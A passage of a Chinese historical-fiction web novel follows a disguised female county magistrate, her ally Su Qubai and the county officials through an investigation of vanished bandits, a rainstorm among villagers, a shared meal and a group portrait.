梁温点头示好。 陈虎没近距离观察过她,有些好奇,眼睛直勾勾地盯着她。 追风正好与陈虎相反,他没那么多好奇心,循规蹈矩的见过礼后便目视前方,陈虎对此颇为不屑,认为他简直是无趣至极。 苏瞿白给了陈虎一个眼神,示意他收敛一些。 陈虎摸摸后脑勺,立马偏移视线。 “追风,此行可查到什么?”苏瞿白坐在石墩上,敲击桌面,梁温顺势坐在他旁边。 追风向前一步:“我与陈虎一路尾随,跟着那群山匪翻了整座山头,未见异常。但是到了山腰时却起了大雾,白茫茫看不清楚,等雾退去后,那群山匪连带着货物都没了踪迹。后来我和陈虎分开寻找,还是一无所获。” 梁温手指下意识摩挲,“你们去的是哪座山?” “关山北。那里异常陡峭,却还是开辟了山路,是前朝用来练兵的场地,后来山崖断裂,便废弃了。” “那里有断崖?”梁温接着问。 “是,关山北的断崖已存在数百年,高达上千丈,正因如此,才会用来作为天然的御敌屏障,”不等追风回答,陈虎便率先开口。 梁温心中思绪丛生,“可曾有人探过崖底?” “这……”陈虎看向追风,他们二人同时摆头。 苏瞿白道:“崖底沼气遍布,毒虫蛇蚁众多,常年不见天日,探查的人多数伤亡在那,渐渐的,此地便少有人去,如今知道详情的怕是在少数。” 梁温看向他:“你去过?” 苏瞿白视线落在她脖颈处露出的一截金丝黑绳上,随后偏离目光:“不曾去过,但是曾有长辈与我讲过。” 梁温:“可靠吗?” “嗯,他从不说假话。”苏瞿白黑沉的眸子泛着空,似是在透过梁温看别人。 梁温清楚那个他是指苏瞿白口中的长辈。 “如此看来,那崖底有异的几率能有多大。” 苏瞿白嘴角勾起冷笑:“一定有异。” 梁温问道:“派人去查?” 苏瞿白沉吟片刻道:“不急,现如今沈巍和孙磊皆在丰泽县,关山那边的巡防定然严密,为防止打草惊蛇,得等他们走了再说。” “你可不像是这般优柔寡断之人。”梁温诧异的看他,若照平日里他哪会这般思虑左右。哪管前方危险重重,越快将事情办完越好,迟则生变。 苏瞿白哪能看不透梁温在想些什么,但事关她的安危,他不得不多做打算。 心中是这般想,嘴上却不是这般说的:“盛京有变,事情总得分个轻重缓急,一点一点来。” “盛京有变?你要回去吗?”梁温对盛京那边知之甚少,所有的印象都是从他们口中得知。 本来她对盛京之事并无太多关注,但苏瞿白说过她的生路就在盛京,这不得不让她多留意。 “不用,自会有人料理。” 追风和陈虎面面相觑,最终跟个透明人一样听完了全程。 孙家别院。 腰间带刀的护卫绕着宅子围了个密不透风,一辆马车缓缓驶入院中。 假山池塘边,沈巍与孙磊对坐在亭子中,徐徐暖风吹过,垂落的柳条随风挥舞着。 孙有财带着一众仆从立在池塘对面,日头明晃晃的,孙有财不时用帕子拭汗,半点不敢抱怨。 脚步声自廊下传来,元岐一甩扇就对上了数到目光。 他咧着嘴笑,远远朝他们作揖。 元岐身量板正,微微福身时背却不弯,一双圆润的眸子清正亮光,这般看着,算得上是雅量端方的少年郎。 沈巍朝他招手,元岐目光晦暗一瞬,随即大踏步向他们那边走去。 “见过沈节度使。”元岐转头看向孙磊,敷衍的说了句:“孙郎君也在啊。” 孙磊冷哼一声,却不想直接闷咳,脸上瞬间浮现潮红,半晌缓不过劲来。 元岐怕他咳过去,乐呵呵的给他倒了杯水:“喝水喝水,不急着说话。” 孙磊夺过,一连几杯水下肚才缓过劲来。 元岐越看越愉快,没有什么事是比别人吃瘪更让人身心舒畅的了。 再说,他本来和孙磊互相看不上眼。他嫌弃孙磊病秧子一个小人行径,暗地里的爬虫,成日里净做一些腌臜勾当。孙磊嫌弃他两面三刀笑面虎,墙头草一个到处找靠山,吊儿郎当做事拖拉。 孙磊向来认为他是个事不足败事有余的混球。 孙磊拢了拢身上的大氅:“元郎君还真是个忙人啊,好些时日没瞧见你了。” 元岐一听孙磊在沈巍面前给他拱火,不痛不痒回道:“比不上孙郎君,不声不响就办了件大事。” 沈巍与孙磊脸齐齐一黑。 孙磊前阵子赶回盛京正是要去处理那些愚蠢至极的旁系。本来他们孙家顶着皇商的名头就有一堆人盯着他们,结果他让人暗中拓展盐道交易,却被旁系大咧咧的爆出来。 他们仗着孙磊的声望横行,终是被人捏住了手脚,盐道交易暂时断了,还被京中贵人盯上了。 简直是得不偿失。 现在元岐旧事重提,可是狠狠戳了孙磊痛脚。 贩卖私盐本就是重罪,再加上孙家皇商的身份,其罪名可想而知。 沈巍因此连着数次下了他的面子。 孙磊猛然转露笑意:“听闻元郎君这个县丞当的很是不错啊,在梁明府面前很是吃的开,颇受器重。” 元岐四两拨千斤:“哎,话可不能这么说,我至今为止连梁县令的书房都没进去过,哪像您啊,一口口的明府叫的多好听啊。” “是吗?”孙磊给他倒了杯水,眼梢一挑,满满的不信任。 元岐接过一口饮尽:“也不尽然。毕竟我这般俊俏,梁县令对我优待是合乎情理的。你要非说我和梁县令关系好,那也没说错,前两日他还赏我画了十幅王主薄的小像呢,这是认可我的画技,绝对不是因为我上值晚到。” 两人你一言我一句的,吵得沈巍眉头禁皱,用杯盏在石桌面上敲了敲:“够了。” 两 24. 谎话连篇 《她也不想欺君》全本免费阅读 元岐次日放衙后便告了假,声称自己偶感风寒,烧的脑袋犯迷糊,眼睛都睁不开。 梁温一看元岐府上小厮呈上来的告假信,笔力苍穹有劲,一看就不像是身体虚弱之人能写出来的。 但那字却又跟元岐的字迹像了个十成十。 她没落下批示,反倒看向旁边正处理公务的王主薄:“王主薄,元岐的画都画完了?” 王主薄笔尖一顿,将早已准备好的说辞缓缓道出:“元县丞画技精湛,卑职甚是喜欢便收到了家中珍藏。” 梁温来了兴趣:“哦?那可是十幅画啊。” “元县丞笔力穹劲,落笔即成,一天足矣。”王主薄越说越心虚,最后连眼睛都不抬了,垂着头只觉得公文上的字越来越陌生。 梁温一瞧见他那样,还有什么不清楚的。只是心里清楚是一回事,明面上就又是一回事了。 “竟不知我这小小县衙卧龙藏虎,改日等他好了,就让他为咱们县衙所有人都画进一副画卷中。这般厉害的人物,大家伙儿可都想跟着沾沾光呢。” 王主薄心里咯噔一声,额间浮上虚汗,他抬手用袖口擦了擦:“对对,等他病好了我就叮嘱他,一定让他好好画,肯定画的唯妙唯肖、栩栩若生。” 梁温没再为难他,大手一挥,准了元岐假的不能再假的病假。 她想,这一次一定是元岐被污蔑的最惨的一次。 要不是当时路过元岐身边,看到过他办公偷闲时的画作,她说不定就信了。 惟妙惟肖? 栩栩若生? 这说的哪是元岐啊,明明就是画技超然的国手。 元府。 元岐府中的管事带着从医馆请来的大夫急匆匆进了府门。 半个时辰后与那大夫一模一样的人从府中走出,管事出来相送。 管事往他手上塞了银袋子,“大夫,我家主子就麻烦您了。” “治病救人是我的本分,再说郎君得的也不是什么大病,只是有些着凉,染了风寒罢了,多养着时日自然就好了。”大夫低着头,整理身上凌乱的衣袍。 “府中离医馆有些远,特地为您备了辆马车。”管事看向府外候着的马车,笑着开口。 “好好,管事有心了,那我这就走了。” “嗯。” 大夫步履蹒跚的上了马车,管事进府时左右查看了一番,见对面街角没了人,便安心关门。 马车一路行至医馆,大夫朝着马夫道了谢后径直入了医馆。 一路尾随他们的人没见什么异状,便转身走人。 又过半刻钟,医馆后门驶出一架马车,朝着城门外奔去。 梁温再次见到元岐是在三日后,不是在县衙,而是在城中靠近田地的一座破庙中。 阴沉的天满是乌云,远间的云层中雷霆翻滚,轰隆声阵阵。 正值农时,梁温外出访视,才到田间便猛然下起了瓢泼大雨。 他们随着百姓一同跑到破庙中,这里原来供着土地神,后来修建了新的土地庙后就渐渐失了跪拜的人,后来更是荒废下来,成了种田百姓的临时落脚点。 他们一路护着百姓,最后进的破庙,站的位子也靠外,外面还有点光亮透进来。而破庙里面则是昏暗的什么都瞧不清。 只是偶尔有雷光劈下,才能借着那微弱的光看清楚轮廓。 随处可见的是杂草和檐上的蛛网,瓦檐淅淅沥沥的往下掉落着雨滴,抬眼望去都能看清天上的景象。堂中的石像经过风吹雨淋也被侵蚀的分辨不清面目。 梁温接过身侧之人递过来的棉布,擦拭着身上的雨水。 牛青抱来一拢稻草杆儿,将火折子吹出火光点燃,后又陆续燃了几堆儿。有机灵的小伙子抱来干燥的枯枝。 带有温度的火光驱逐着身上沾染的寒气。 外面的雨没有停下或变小的趋势,梁温眉头稍皱:“今年雨水格外多。” 牛青听闻:“您是担心会引起涝灾?” 梁温眼中映着火光,瞳孔熠熠闪着光亮。 “不必担心,幽州常年干燥,往年多是旱灾,也就是今年雨水多些,但也没到引起涝灾的地步,且幽州河流少,便更加不用忧心。” 梁温岂能不知,但她又不知该如何和他解释心中不安的由来。 幽州是河流少,可是雨水带来的灾害又不止是涝灾。 丰泽县平坦的沃土稀少,多是山坡和高耸的山体,就怕沙石松软,到时可不就只是涝灾那回事了。 山体塌陷,防不胜防。 脸色黢黑的壮汉送来了干粮,牛青接过分发出去。 梁温摸出腰间的银袋子,里面只剩下一些裸银,但也够用了。 她递给那个送粮的壮汉,壮汉连忙摆手,“不用不用。” “拿着,你们出了粮,我们就该出银子。没有光吃不给的道理,身为百姓的父母官就更不能朝百姓伸手任意索拿。”梁温直接握住壮汉的手腕,将裸银放在他摊开的手掌中。 那只手满是皲裂的痕迹,黄黑色的皮肤粗糙有力,指缝中还沾着种田时残留的泥土。 壮汉看向握着自己手腕嫩白的手,有些不好意思的红了脸,抹了把脖子。 最后还是收了银子,对着梁温道:“县令,您和别的县令不太一样。” 梁温给他挪出一块地方,示意他坐下来。 壮汉连连摆手,“不用不用,我身上脏,挨着您会弄脏您的衣袍。” “不会,我的身上也很脏。”梁温摊开衣摆处的污泥给他看。 壮汉这才坐下,有点不自在的一直抹脖子。 梁温轻声询问:“你叫什么?” “王秀,别人都叫我二柱子,县令您也可以这么这么叫我。”他的声音很厚实,如同他表现出来的憨厚老实一般。 “你说我同别的官员不一样,不一样在哪?我们同样都是百姓的父母官,同样都是两个眼睛一张嘴的普通人,有哪里不一样?” 王秀很是猛烈的摇头,邹着眉头不假思索道:“不一样。您是第一个从我们这里用钱换物的父母官,也是第一个亲身下田考察的父母官,更是……更是第一个不嫌弃愿与我们同吃同坐的父母官。丰泽县历任县令都不会,只有您会。” 王秀越说越激动,等说完又反应过来不好意思的低下头,但还是接着说:“梁县令,您是好官。在我们丰泽县百姓眼中,您是顶好的官员。” 梁温从他眼中看到了真诚,他是真心实意觉得她这个父母官是个好官。 梁温从来没怎么觉得过,这一刻,她突然有些不知所措。 她视线从每个人身上略过,虽然周围昏暗,但她还是从这片昏暗中看到了无数亮着光的眼睛。 那一双双挚诚, 25. 夜雨暖灯 《她也不想欺君》全本免费阅读 这场雨一直下到了傍晚,梁温等人趁着雨歇带着百姓往回赶。 将百姓都疏散后,骤雨又下起来。 早就过了下值的时辰,县衙别的官员陆续告别,最后只剩下梁温、牛青以及半道出场的元岐。 他们躲在檐下,身上的衣袍均被洇湿,元岐身上雨水最多,蜷缩成一团靠在角落里。 梁温伸出手,昏暗的街上起了薄雾,耳边都是淅淅沥沥的雨声。 牛青从对面街角走来,手中撑着油纸伞。 “县令,太晚了,只有这些了。”牛青递上手中剩下的那把油纸伞。 梁温看向角落里瑟瑟发抖的元岐:“给他。” 牛青嗯了一声,将其中一把伞放在元岐怀中。 “起来吧,咱们得自己撑伞走回去。” 元岐笑得勉强,却也只能撑开伞。 这里离县衙不算近,但是离他的府院更远。 街上的水蓄成了潺潺的溪,牛青和梁温共撑一把,元岐单独撑一把。 他们踏下台阶,趟着水向县衙的方向走去。 薄雾渐浓,前路越发不清晰。 梁温冻的手脚冰凉,口鼻呼出的气息融入浓雾,耳边好似有铃铛清脆的响声以及马的嘶鸣声。 梁温眯了眯眼,眼前清晰了几分。 一团看不清的黑影由远及近,待凑近梁温才看清了那车上提着灯的车夫——是陈虎。 缰绳被勒紧,马蹄扬起又落下,使积水泛起数道涟漪。 陈虎飞身而下,连忙将脚梯放下。 车帘被冷白的手掀起,苏瞿白露出半张面孔来,他朝她唤道:“上来。” 梁温握住他的手,借着他的手劲儿上了车。 车厢内空间很大,梁温坐在苏瞿白旁边,紧跟其后的元岐坐在他们对面。 牛青没进车厢,而是坐在外面和陈虎一同赶车。 牛青为陈虎撑着伞,虽仍有雨水倾斜洇湿他们的衣袍,但终究掩去打脸的雨水。 元岐上了车就活泛起来,目光黏着在苏瞿白身上,一眨不眨的看着。 但苏瞿白却没管他,他用车上随时备着的毯子将梁温紧紧围起,随后拿着棉布擦拭着梁温滴着水的头发。 与被照顾的细致妥帖的梁温相反的元岐一脸艳羡,双手合十迅速摩擦,从口中呼出热气来温暖自己。 元岐眼睁睁的看着苏瞿白碰到了梁温的指尖,随后拿出一个汤婆子放在她手上。 元岐知道此时他不应该出声,但是他真的要冻坏掉了。 “那个……郎君,我有一点冷。” 苏瞿白这才看向他,拿出剩下的外袍递给他。 很薄,但多少有些效用。 梁温看他唇色发白,将手中的汤婆子递给他。 元岐没直接接过,而是看向一旁的苏瞿白,见他的视线也落在汤婆子上,眼神冷冷的,便瑟缩着开口:“算了吧,其实也没有太冷。” 梁温已经缓过劲来,身上的寒意被驱散大半,直接塞到他怀里。 “拿着吧。” 元岐又瞅了眼苏瞿白,随后心安理得的抱着那精致的汤婆子取暖。 这幽州还未入冬,夜间竟这般冷。 真不是一个好去处,元岐待了好几年都没适应。 果然,幽州与他无缘啊。 才到县衙,梁温便看到守在门口的元宝。 他伸着脖子看,脸上满是焦急的神色。 马车才露了影,元宝就撑着伞急匆匆的赶来,细致的接着下马车的梁温。 整个伞都送出去,生怕她淋到一点雨。 “郎主可回来了,奴快急死了。奴让厨房备了驱寒的姜汤和热水,一会儿您好好沐浴,暖和暖和。”元宝拉着梁温就走,脚程那叫一个快。 苏瞿白抢不过,只能大跨步跟在他们身后。 元岐在县衙中也有住所,只不过不常住。 陈虎跟着苏瞿白走后,就只剩下元岐和牛青待在檐下了。 元岐看着旁边的牛青,突然生出一股子感动出来,也不嫌他是一个闷葫芦了。 “牛青,还是你好。” 牛青将伞分给他一把,二话没说直接走人。 元岐握着伞,“一个个的,心肠冷硬。” 寒风吹过,他连着打了好几个喷嚏,突然感觉背后阴风阵阵,忙追了上去。 “牛青,等我一下,我和你顺路。” 顺八竿子打不着的路,一个在东院,一个在西院,背道而驰的方向。 顺哪门子路。 果然,牛青到了住处,元岐靠死皮赖脸瓜分了牛青半张床榻。 梁温屏退元宝一众人后走到了偏房,在房门上敲了两下。 房门被打开,苏瞿白退开为她让路。 不出梁温意外,追风和陈虎都在。 梁温拿出一封书信,“你看看这个。” 苏瞿白走到烛火旁,火舌肆虐摇摆,他散着发,身上的衣袍松散的系着,露出紧贴着身躯的雪白里衣。 不多时,梁温开口:“朝廷没有停止供给幽州军饷。” 苏瞿白面色很冷,眸中一改之前的温和,背对着光,沉沉的。 “嗯,圣上对沈巍忌惮,却更怕幽州失守,成为天下的罪人。” “他倒是高堂坐的稳。” 梁温这话颇为大逆不道,但屋内并无人反驳。 “沈巍和孙磊今日走了。” “我知道。”梁温派人时刻盯着他们的动向,才至公堂就有人告知了她。 “这是陷阱。”苏瞿白指尖用了些力,整个人透出狠厉。 “谁都知道。”明晃晃的事实,谁能猜不到,“但我得去。” “他是想借此来探测我。”梁温觉得没意思,嗤笑一声:“在他们心里,我能为他们做到哪种程度?” “啊…”梁温蹙着眉:“真是不好玩。” 此话一出,苏瞿白窥到了两分不同,与平日里的冷淡平静格外不同的疯。 “我会派人跟着。”苏瞿白言道。 陈虎和追风站在一起,闻言道:“县令放心,有我二人在。” 梁温其实有些困倦,指尖拭过眼角,想起破庙里的红泥。 “元岐有异。”她冷不丁道出四个字。 “他从沈巍手下待了五年,有异常不离奇。”苏瞿白没感到意外。 “不,异常的不是他们之间的关系。”梁温仔细回顾着当时的细节。 “元岐告假多日,我是今日从破庙中碰见他的。”梁温将当时的场景道出:“他戴着人皮面具,脚底是城外才有的红泥。” “准确来说,红泥只有关山一 26. 衷心祝愿 《她也不想欺君》全本免费阅读 回到房中,梁温褪下外衣,一声悦耳的脆响在地上响起。 梁温顿住动作,看向脚边的那只簪子。 她弯腰拾起,不知怎么坐到铜镜前,将那只簪子斜插进发间。 一头乌发被利落竖起,发冠与银簪格外不适配。 银柄梨花簪,是苏瞿白送她的生辰贺礼。 是唯一一个送给梁温的贺礼。 灯影绰约,细腻的白玉雕刻成的梨花精致小巧,银柄上满是吉纹,不是常见的款式。 梁温解下发冠,簪子也往外滑落,落在衣袍上。 她拿起发簪,又拿出那把匕首。一手一个,放在一起比对着。 突然,梁温觉得匕首上的纹路有些眼熟,对比着发簪看去,那镌刻的铭文竟是一样的。 她用手比对着,细致的翻看起来,最后在白玉梨花瓣和匕首手柄尾部寻到一模一样的“苏”字。 这些都是他做的? 梁温又在心中剖析苏瞿白这个人,她不明白这突如其来的好是因为什么? 仅仅是她那点微弱的不值一提的利用价值吗? 她不太相信。 疑点太多了。 她不相信无缘无故的好。 她凭什么? 他又凭什么? 梁温侧过头,目光像是要穿透墙壁,穿透他的身躯,直接窥心。 半晌儿,她收回视线。 管他呢。 走一步,看一步。 何必庸人自扰,反倒是忧愁了己身。 屋内亮了许久的灯盏终是灭了,相隔一堵墙的两人心思各异,久久未眠。 隔天,梁温去往偏房,那里的人早就走了。 她伸手探向床榻,冰凉的触觉攀爬上她的指尖。 离开很久了。 也是,自从苏瞿白在丰泽县有了落脚点后便很少宿在她这偏房,只是昨夜风雨太大才留下,今早确实该走人。 梁温今日休值,换上一套素色常服,带着元宝往北巷走去。 北巷地处较为偏远,且地势较高,因此百姓较少,大多都是空置下来的院子。 也正因此,苏瞿白等人才将院子买在此处。 才到北巷,走了不足百米便听见转角处鸡飞狗跳的动静。 她快步上前,耳边传来一声惊呼:“县令小心啊,鸡飞过去了。” 梁温听出来了,是符老头。 她也看见了,扑腾着翅膀,一边咯咯叫一边掉着羽毛的大公鸡斗志昂扬的朝她扑来。 符老头一家人跟在后面追,梁温甚至看见了陈虎和追风在帮忙。 “县令,您伸手拦一把。”陈虎又扑了个空,脑袋上沾了好几根橘黄色的鸡毛。 元宝对此很感兴趣,立马加入战局。 梁温瞅准时机,伸手便往它的爪子上够,却落了空反倒被鸡尖利的爪子被抓了。 嫩白的手上顿时出现几道血痕,微微肿起。 符杳小口喘着气,见此直接跑到她身边,拉过她的手,小心翼翼的吹了吹。 梁温看着矮了她多半头的符杳,宽慰的揉了揉她的头:“没事的,不疼。” 符杳又是一阵焦急的比划,显些落下泪来。 还真是个孩子。 梁温只能温声哄着:“真的不疼,只是看着严重。” 最后那只嚣张跋扈的鸡是被苏瞿白逮住的。 苏瞿白才提着两坛子烈酒回来,就见梁温手背上的抓伤。 将烈酒放在身侧的元宝怀中,冷着脸两三下将那只鸡抓住了。 拿过符老头手里的草绳,将它捆的严严实实的。 “陈虎,拿去杀了。” 将鸡扔进陈虎怀里,拉着梁温的手腕便走向了他们的那间院子。 梁温顺从的跟着,身后还有他们的声音传来。 符老头接过鸡:“我来杀,我来杀。正好把它炖了,给你们补补身子。” 随后拎着鸡的后脖颈,提起来道:“敢抓伤我们的梁县令,今日你难逃一死。” 几人纷纷附和,梁温听着越发觉得胸口有一团浓烈的火焰在灼烧,烫人的紧。 院子与她刚来时截然不同,干干净净的院落,中间摆上石桌和石凳,枯水井处被处理过,井内涌上清澈的水。 梁温被他带到石凳上坐好,他从屋内拿出绷带和药瓶。 黄褐色的粉末洒在手上,有一些微微刺痛,整只手被包裹的要事,尾端打了个小结。 苏瞿白看那个小结莫名不顺眼,将那个小结塞进了绷带里。 更加美观了。 符杳许是有些担心,一路跟了上来,趴在门边上,露出半颗脑袋。 很难让人不发现。 “符杳,进来吧。”梁温用另一只手朝她招手。 符杳羞羞涩涩的,亦步亦趋的凑上来,对上苏瞿白的视线后,连忙抓住梁温的衣角往她身后躲了躲。 很正常,苏瞿白除了面对梁温时眼睛是含着笑的,其余时候都绷着一张脸。 看着狠厉,不像好人。 陈虎的身影也出现在门口:“县令,主子,符老爷子叫咱们过去。” “走吧。”梁温起身,看向苏瞿白。 苏瞿白和陈虎对视了一眼:“你先去,我和陈虎说点事。” “嗯。”梁温见自己后腰的衣角依旧被符杳扯住,干脆直接伸向她。 符杳一愣,随后又拽住她袖口。 符家就在隔壁,十几米就到了。 一进院梁温便看到倚窗温书的符文华,白色衣袍加身,光落在他身上,勾勒出清逸俊郎呢轮廓。 符杳跑到他的窗边,拉过他的手,示意他看向梁温。 符文华站起身,将书籍妥帖放好,隔着窗子朝她作揖。 梁温走近,看向那本书籍,是一本讲述策论的书。 她书房里也有一本,不过她只粗略翻看过两眼,并未细细看完。 符文华见她的目光落在书页上,连忙拿起递给她:“县令也看过这本书吗?” 梁温接过,翻看了数十页,每一页上都标满了注脚,全是符文华个人的见解。 符文华有些不好意思的抹脖子:“见解有些浅薄。” “不,很好。”梁温看向他,将书还了回去。 符老头正好从厨房出来,用干净的抹布擦拭着手上的水珠。 “县令来了,快快进屋歇着。” 符文华闻言赶忙走至门边,将门推开。 梁温才进来就看见书桌上整理好的一摞书籍:“这是?” 书架上的书册全都空了,地上摞了一层又一层,有些杂乱。 符文华和符老头赶忙搬开,留出空闲位子。 符老头边收拾边道:“小儿过两日就要赶往 27. 县衙闹剧 《她也不想欺君》全本免费阅读 “苏郎君,怎么不进去。” 符老头的声音在苏瞿白背后响起,屋内的人纷纷向外看。 门被轻松阖上,苏瞿白轻轻一推就开了。 苏瞿白他们搬到这边的那天,符老头就注意到他们了,热情的上门送去一条鱼。 不过,因着苏瞿白他们三人谁都不会炖,这鱼便送到了梁温那里。 梁温当时看他闲情雅致的提着一条鱼,沉默许久才道:“看来幽州的日子,你们真的很清闲。” 苏瞿白不是下矿就是上山的,追风和陈虎也成天往外跑打探消息,恨不得多长两条腿。 但三人谁都没开口辩驳,默默认下这个没由头的罪名。 梁温也不是很在意,她本来就是随口一说。 好笑的是,他们午膳才用的鱼汤,下午就有百姓报官说家中的鱼被偷了。 这种琐碎的事情频频发生,梁温见怪不怪,熟练的处理着。 丰泽县县衙每日的公务不算繁重,涉及命案等重大案件不常发生,近十年的案宗中记载在册的命案寥寥可数。出现在公堂上大多数是日常生活的琐碎小事。 谁家的鸡鸭鱼肉被偷了。 谁家的孩子玩耍丢了。 张三状告李四田地多占一分地。 王二麻子整日在寡妇门前偷窥。 要么就是钱财被偷、被抢等。 诸如此类,频出不穷。 若是实在无事,梁温就会带着人出门巡视,或者去田埂上看看庄稼情况。 梁温喜欢和他们打交道,含着笑的眼睛望向你时,总有种全心全意信任的感觉。 今日符老头兴致上来了,不仅炖了鱼汤,还炒了三盘热菜。 又命符文华去酒铺打两坛子青梅酒,这种酒不醉人,打开就有一种淡淡的酒香,味道偏酸甜。 元宝好吃,喝了口符老头盛的鱼汤后赞不绝口,对着梁温兴奋的低声开口:“比咱们府上的厨子炖的还鲜。” 他确实压低了嗓音,不过兴奋的劲头也使这声音没小到哪里去。 众人听得清清楚楚。 符老头高兴的很,又给他盛了一碗。 “喜欢喝多喝点,还多着呢。” 他眼里满是慈爱之色,看着他们就像是在看自己的孩子。 符杳一连给梁温夹了许多鱼腹肉,看的符文华眼生羡慕。 梁温和苏瞿白用饭的姿态较平常放松了许多,但在陈虎狼吞虎咽的对比下显得格外矜持。 梁温缀饮了些许梅子酒,她容易酒气上脸,没几杯酒下肚,面庞上就多了酡红。 不过眼神格外清明,没有一点醉意。 土路面上,寻常木制的四间方桌,围绕着不同的人。 男男女女,老老少少,一派祥和,其乐融融。 一时贪欢,梁温还真有些醉了。 指尖捏着一只木筷,绕着瓷碗边缘画圈。 随后将碗倒扣,有一下没一下的敲在碗底,发出碰撞的闷响。 细细听去,竟也成了音律。 苏瞿白静静看着、听着,任她玩闹。 梁温被酒蒙住了脑袋,听到耳边的笑声,想要往音源那边探入,却意外对上苏瞿白的眼。 她呆愣了许久,问道:“好听吗?” 苏瞿白喉间滚出一声嗯来。 她又问:“想学吗?” “我比较笨。”苏瞿白温声回道。 梁温有点晕,自己都不清楚自己在说些什么:“没事,我教你,我很会教人的。” “那,谢谢夫子。”苏瞿白又在闷笑着。 “不是夫子,是梁温。栋梁的梁,温和的温。”梁温一字一句,认了真。 “梁温,栋梁的梁,温和的温。”他又重复一遍,“我记住了,梁温。” 那两个字咬在唇齿间,有种说不出的旖旎。 梁温将另一只筷子递给他,大方的将自己面前的碗推到他们中间,率先在碗底敲了一下。 苏瞿白照做:“是这样吗?” 梁温摇头:“不是,落下的时候,手腕的力要轻一些。” “这样?”他又敲了一下。 “不是,再重一些。” “这样?”他又用了些力。 梁温挪回碗,重新敲了一下:“是这样。” 随后又挪到中间,有些固执的开口:“你来。” 苏瞿白可能真的没有这方面的天赋,一连十几声,声声不一样。 梁温看愣了,嘴角竟然有些抿起。 她看了苏瞿白好久,才道:“你是对的,你真的有点笨。” 苏瞿白一下被逗笑,“不是说很会教的吗?” 梁温脑袋停止运转,没办法自圆其说,呢喃道:“难道是我笨吗?” 苏瞿白听见了,他耳力很好,听得清清楚楚。 “不,是我太笨,连您这样的人都教不会我。”他赶紧将过错拽到自己身上。 怕下一秒,她就要落泪了。 平时她一本正经、言辞犀利且生人勿近,没想到醉酒后竟这般——又呆又钝。 梁温不理他了,拿着那根筷子较劲。 酒醒后,梁温看着熟悉的布局,才知晓这是在自己屋中。 她没坐起身,脑海里全是挥之不去的片段,格外清晰。 不该贪欢的,这是原罪啊。 梁温罕见的生出一点……懊恼。 梁温去往正堂时,正好瞧上热闹。 她站在门后,看着元岐神色焦急,左右来回踱步。 王主薄看的心烦,索性拖了把椅子坐下来。 轮值的衙役被他们轰到一旁,诺大的正堂就他们两个,谁也没压低嗓音,叫梁温听了个一清二楚。 元岐把自己绕晕了,捂着头站在原地,长叹一声后,恨铁不成的开口:“你怎么能这么卖我呢?” “谁?”王主薄不痛不痒的回话。 “你!” “啊?”王主薄挠挠耳朵。 “你别跟我装聋作哑,我还不知道你。”元岐痛苦的将头磕在扇子上,“究竟是谁给你的信心,让你夸下这么大的海口?” “你啊!”王主薄瞬间不耳背了,口齿格外清晰。 元岐瞪大了眼,指尖指向自己:“我?” 而后,不可思议的问道:“我没听错吧!” “对啊。” “我我我……”元岐气煞。 “当初可是你拍着胸脯,打包票说会帮我圆下来的。”元岐控诉。 王主薄摸着胡子:“我帮你圆了呀!我跟县令说你已经将十幅画都画完了,我说了呀。” “你怎么说的,给我复述一遍。” 王主薄又挠挠耳朵,嘴里念叨着:“哎呀,年纪大了,耳朵不好使了,你说什么?” 元岐哂笑一声:“不记得是吧,自有人记得。” 他朝外大喊:“牛青。” 没回应,继续扯着嗓子喊:“牛青——牛青——” “牛青啊——” 牛青闻讯而 28. 终须离别 《她也不想欺君》全本免费阅读 县衙当值的官员来的格外迅速,一听县丞要为他们亲自作画,立马飞奔着来了。 当值的人算不上多,但三三两两站着,也将正堂挤了个满当。 正堂正对着门口的地方摆放着长条四脚桌,桌面上被一张宣纸铺满,王主薄格外主动的给元岐研墨。 牛青给梁温搬来一把椅子,待梁温坐下后,和衙里的其他兄弟一齐站在梁温身后。 元岐打量许久,这才拿起笔蘸墨,在雪白的纸上落下第一笔。 王主薄就在旁边看着,手上的动作都慢下来。 元岐时不时抬眼朝梁温那边望去,随后又在纸上细细勾勒着。 他认了真,每一笔都下的谨慎。 王主薄在他画出大致的时候就意识到,元岐上次的狗屁画技纯粹是戏弄他玩的。 三两笔,就绘出了轮廓的人,怎么可能画出那样滑稽的画来。 这般想着,王主薄竟有些暗叹,打算等他画完了在寻他的错处。 心里是这般想的,但眼睛流露出的确实赞赏嘉许。 好小子。 微弱的秋风打着转,日光倾洒着,落在他们身上。 额间渗出湿汗,但谁都没动,拿出最好的精神来,挺着脊背,目光直勾勾的看着前方,嘴角清一溜勾起。 有的人甚至摆起了姿势,勾肩搭背或者寻朵花插在发间,又或是提着刀摆出凶狠的架势。 时间一长,他们都动起来。 挠挠头,说说悄悄话。 这可把元岐给愁到了,作画时一直扯着嗓子喊:“别动。” “就说你呢,别动了。” “那个人,屁股别撅那么翘。” “还有你,拿着刀想干嘛?这是县衙不是战场,没人给你砍。” “你也是,头发留那么一绺想干嘛,风一吹你就痒痒,快别到耳后。” …… 诸如此类的话一直响彻正堂,元岐嘴都没停过。 说的他是口干舌燥,累的不行。 梁温听着他们玩闹着,整个人放松下来,嘴角的笑也勾起。 元岐正好抬头,成功捕捉到。 “县令,您笑起来真好看。”沉吟后又道:“比我俊俏了一点,是咱们县衙最好看的人。” 幼稚。 梁温这次真没绷住,嘴角的浅笑加深。 元岐自是不能错过,立刻在纸上画到。 才画完,就听梁温道:“元岐,别忘你和王主薄,我说过,你要画的是整个县衙的兄弟。” 谁也不能漏。 元岐怔住,随即昂声应道:“忘不了,每个人都在呢,谁都不能缺。” 元岐低头,缓缓吐出一口浊气。 看向旁边的王主薄,又蘸了些墨,在纸上缓缓画出一张桌案,桌案上摆放着笔墨纸砚。笔锋一转,又勾勒出两道身影。 正是他自己和王主薄。 他放下笔,揉了揉酸痛的手腕,笑着朝他们开口:“画完了,来瞧瞧吧。” 众人都显得格外兴奋,很想扑上去看个清楚,但却都没动。 梁温起身,走到桌案前,拿起整张图来,一点一点看去。 几十道身影,拥挤的站在一起,被绘进同一幅画里。 元岐虽然嘴上嫌弃,却还是将他们刻画的格外传神,戴着花的、持着刀的、勾肩搭背的,他一一画了出来。 梁温的视线落在最下方的两道身影上,墨迹未干。 县衙所有兄弟,都在。 她放下画卷:“王主薄果然没骗我,元县丞画技精湛,确实是佳作。” “是,下官从不骗人。”王主薄中规中矩的回着。 元岐可是毫不客气:“那是,我元岐,天生的才子。” “嗯,画的好,值得装裱起来。日后就挂在正堂,也叫人瞧瞧咱们县衙能人代出。” “我还有事,你们随意。”梁温转身出了门,牛青一直站在她身后,将画瞧了个真切,等梁温走后,就跟着一同出去了。 